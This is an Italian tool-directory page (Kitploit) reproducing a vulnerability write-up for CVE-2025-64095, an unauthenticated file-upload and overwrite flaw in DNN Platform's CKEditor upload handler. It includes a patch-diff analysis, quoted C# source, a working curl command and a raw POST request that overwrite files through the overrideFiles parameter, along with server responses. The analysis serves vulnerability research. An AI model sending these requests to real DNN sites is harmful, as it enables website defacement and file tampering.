Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-64095---DNN-Unauthenticated-arbitrary-file-upload — POC di controllo degli accessi insufficiente di DNN - Il caricamento delle immagini consente la sovrascrittura del contenuto del sito. | Kitploit
Strumenti/GitHubGitHub/h4x0r-dz/cve-2025-64095---dnn-unauthenticated-arbitrary-file-upload
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubh4x0r-dz/cve-2025-64095---dnn-unauthenticated-arbitrary-file-upload

CVE-2025-64095---DNN-Unauthenticated-arbitrary-file-upload

POC di controllo degli accessi insufficiente di DNN - Il caricamento delle immagini consente la sovrascrittura del contenuto del sito.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
1449 mesi faNon ancora revisionato

CVE-2025-64095---DNN-Unauthenticated-arbitrary-file-upload

POC di DNN Insufficient Access Control - Image Upload permette la sovrascrittura dei contenuti del sito

Sono un uomo semplice, vedo cvss:10/10 e ci vado xD

Ho visto questa nuova CVE CVE-2025-64095 DNN Insufficient Access Control - Image Upload permette la sovrascrittura dei contenuti del sito

Il provider predefinito dell'editor HTML consente il caricamento di file senza autenticazione e le immagini possono sovrascrivere file esistenti.

Descrizione Un utente non autenticato può caricare e sostituire file esistenti, consentendo di deturpare un sito web e, combinato con altri problemi, di iniettare payload XSS.

https://nvd.nist.gov/vuln/detail/CVE-2025-64095

Punteggio base: 10.0 CRITICO 🤷‍♂️

A quanto pare non è poi così critica, dato che non è possibile caricare una web shell come ASP, ASPX..ecc (almeno nella configurazione predefinita), si possono caricare solo immagini + SVG. Si possono solo caricare/scrivere file esistenti sul server web e in un percorso specifico; non è possibile caricare un file nemmeno nella directory root.

Analisi del Diff delle Patch: DNN Platform 10.1.0 10.1.1

Dato che tutte le versioni precedenti alla 10.1.1 sono vulnerabili, ho preso la DNN Platform 10.1.0 (l'ultima versione vulnerabile)

Introduzione

Il diff è un po' grande; mi interessa solo il codice relativo al caricamento dei file, che riguarda Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx. Quindi mi sono concentrato sul confronto di questo specifico file tra le versioni per capire cosa (se mai) è stato corretto nella 10.1.1.

Lascia che ti spieghi cosa ho trovato e come ho scoperto la vulnerabilità.

Indagine Iniziale

Quando ho iniziato a guardare le due versioni, il diff complessivo mostrava 158 file modificati tra DNN Platform 10.1.0 e 10.1.1. La maggior parte erano solo miglioramenti - namespace file-scoped. Ma dovevo capire se la vulnerabilità di caricamento file fosse stata corretta.

Il file vulnerabile si trova in Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx.cs - questo è l'handler di caricamento file di CKEditor. È una superficie d'attacco comune per le vulnerabilità di caricamento file.

La Vulnerabilità nella 10.1.0

Osservando il metodo ProcessRequest nella 10.1.0:

root@kitploit:~
public void ProcessRequest(HttpContext context)
{
    context.Response.AddHeader("Pragma", "no-cache");
    context.Response.AddHeader("Cache-Control", "private, no-cache");

    this.HandleMethod(context);
}

Questo è tutto. Non c'è letteralmente nessun controllo di autenticazione. Chiunque può inviare una richiesta a questo endpoint e caricare file, nessun controllo di sessione, niente.

Il flusso è il seguente:

  1. invia una richiesta POST a FileUploader.ashx
  2. ProcessRequest viene chiamato
  3. Chiama immediatamente HandleMethod che instrada verso UploadFile
  4. UploadFile chiama UploadWholeFile
  5. UploadWholeFile elabora il caricamento senza verificare se l'utente ha effettuato l'accesso

L'intera logica di caricamento avviene in UploadWholeFile a partire circa dalla riga 230. Ecco le parti critiche:

root@kitploit:~
private void UploadWholeFile(HttpContext context, List<FilesUploadStatus> statuses)
{
    for (int i = 0; i < context.Request.Files.Count; i++)
    {
        var file = context.Request.Files[i];

        var fileName = Path.GetFileName(file.FileName);  // Line 236

        // Convert Unicode Chars
        fileName = Utility.ConvertUnicodeChars(fileName);

        // Replace dots in the name with underscores (only one dot can be there... security issue).
        fileName = Regex.Replace(fileName, @"\.(?![^.]*$), "_", RegexOptions.None);

        // Check for Illegal Chars
        if (Utility.ValidateFileName(fileName))
        {
            fileName = Utility.CleanFileName(fileName);
        }

        // ... more processing ...

        // Rename File if Exists
        if (!this.OverrideFiles)  // Line 268
        {
            var counter = 0;
            while (File.Exists(Path.Combine(this.StorageFolder.PhysicalPath, fileName)))
            {
                counter++;
                fileName = string.Format("{0}_{1}{2}", fileNameNoExtenstion, counter, Path.GetExtension(file.FileName));
            }
        }

        var contentType = FileContentTypeManager.Instance.GetContentType(Path.GetExtension(fileName));
        var userId = UserController.Instance.GetCurrentUserInfo().UserID;  // Line 284 - gets userId but never checked!

        if (!contentType.StartsWith("image", StringComparison.InvariantCultureIgnoreCase))
        {
            FileManager.Instance.AddFile(this.StorageFolder, fileName, file.InputStream, this.OverrideFiles, true, contentType, userId);
        }
        else
        {
            // Image resizing logic follows...
        }
    }
}

Nota che alla riga 284 viene chiamato UserController.Instance.GetCurrentUserInfo() per ottenere lo userId, ma non viene mai verificato se l'utente è autenticato. Se non hai effettuato l'accesso, viene restituito un utente null o anonimo, ma il caricamento prosegue comunque.

Nota anche la proprietà OverrideFiles alla riga 268:

root@kitploit:~
private bool OverrideFiles =>
    HttpContext.Current.Request["overrideFiles"].Equals("1")
    || HttpContext.Current.Request["overrideFiles"].Equals("true", StringComparison.InvariantCultureIgnoreCase);

Questo è un parametro controllabile dall'utente! Chiunque può impostare overrideFiles=1 nella richiesta di caricamento e sovrascrivere file esistenti.

Testare la Vulnerabilità

L'ho testato creando un semplice comando curl:

root@kitploit:~
C:\Users\pwn\Desktop>curl -x http://127.0.0.1:8080 -X POST http://mysite.dnndev.me/Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx -F "[email protected]" -F "storageFolderID=1" -F "portalID=0" -F "overrideFiles=1" -F "mode=Default"
[{"group":null,"name":"poc.png","type":"image/png","size":0,"progress":"1.0","url":"/FileTransferHandler.ashx?f=poc.png","thumbnail_url":null,"delete_url":null,"delete_type":null,"error":null}]

richiesta POST grezza

root@kitploit:~
POST /Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx HTTP/1.1
Host: mysite.dnndev.me
User-Agent: curl/8.13.0
Accept: */*
Content-Length: 626
Content-Type: multipart/form-data; boundary=------------------------7RKjWLYyrhvUn2AA31fJQ3
Connection: keep-alive

--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="file"; filename="poc.png"
Content-Type: image/png


--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="storageFolderID"

1
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="portalID"

0
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="overrideFiles"

1
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="mode"

Default
--------------------------7RKjWLYyrhvUn2AA31fJQ3--

risposta :

root@kitploit:~
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 194

[{"group":null,"name":"poc.png","type":"image/png","size":10,"progress":"1.0","url":"/FileTransferHandler.ashx?f=poc.png","thumbnail_url":null,"delete_url":null,"delete_type":null,"error":null}]
image

Il file è stato caricato con successo. L'ho verificato controllando http://mysite.dnndev.me/Portals/_default/poc.png e, ovviamente, era lì.

e il file è ospitato nella directory \Portals_default :

root@kitploit:~
PS C:\Users\pwn\Documents\site\web02> Get-ChildItem -Path . -Filter "poc.png" -Recurse -File


    Directory: C:\Users\pwn\Documents\site\web02\Website\Portals\_default


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        10/31/2025   4:16 PM              0 poc.png


PS C:\Users\pwn\Documents\site\web02>
image

La Protezione dal Path Traversal

Stavo cercando un path traversal per sovrascrivere i file nella directory root, ma la protezione è in realtà piuttosto buona. Guardando

root@kitploit:~
var fileName = Path.GetFileName(file.FileName);

funziona correttamente. Path.GetFileName() rimuove automaticamente qualsiasi sequenza di path traversal. Quindi se qualcuno cerca di caricare un file chiamato ../../../foo, diventa semplicemente foo.

Il codice ha anche protezioni aggiuntive in "DNN Platform\Providers\HtmlEditorProviders\DNNConnect.CKE\Browser\FileUploader.ashx.cs"

root@kitploit:~
    private void UploadWholeFile(HttpContext context, List<FilesUploadStatus> statuses)
    {
        for (var i = 0; i < context.Request.Files.Count; i++)
        {
            var file = context.Request.Files[i];
            if (file is null)
            {
                continue;
            }

            var fileName = Path.GetFileName(file.FileName);

            if (!string.IsNullOrEmpty(fileName))
            {
                // Convert Unicode Chars
                fileName = Utility.ConvertUnicodeChars(fileName);

                // Replace dots in the name with underscores (only one dot can be there... security issue).
                fileName = Regex.Replace(fileName, @"\.(?![^.]*$)", "_", RegexOptions.None);

                // Check for Illegal Chars
                if (Utility.ValidateFileName(fileName))
                {
                    fileName = Utility.CleanFileName(fileName);
                }
            }
            else
            {
                throw new HttpRequestValidationException("File does not have a name");
            }

            if (fileName.Length > 220)
            {
                fileName = fileName.Substring(fileName.Length - 220);
            }

            // file names starting with '\\' may be used for manipulating the filepath and explore vulnerabilities
            fileName = Regex.Replace(fileName, @"^\\+", string.Empty);

            var fileNameNoExtenstion = Path.GetFileNameWithoutExtension(fileName);

            // Rename File if Exists
            if (!OverrideFiles)
            {
                var counter = 0;

                while (File.Exists(Path.Combine(StorageFolder.PhysicalPath, fileName)))
                {
                    counter++;
                    fileName = string.Format(
                        "{0}_{1}{2}",
                        fileNameNoExtenstion,
                        counter,
                        Path.GetExtension(file.FileName));
                }
            }

come puoi vedere nel codice // file names starting with '\\' may be used for manipulating the filepath and explore vulnerabilities fileName = Regex.Replace(fileName, @"^\\+", string.Empty);

Come ho detto, non penso che questa sia una vulnerabilità critica, dopotutto.

Scarica lo strumento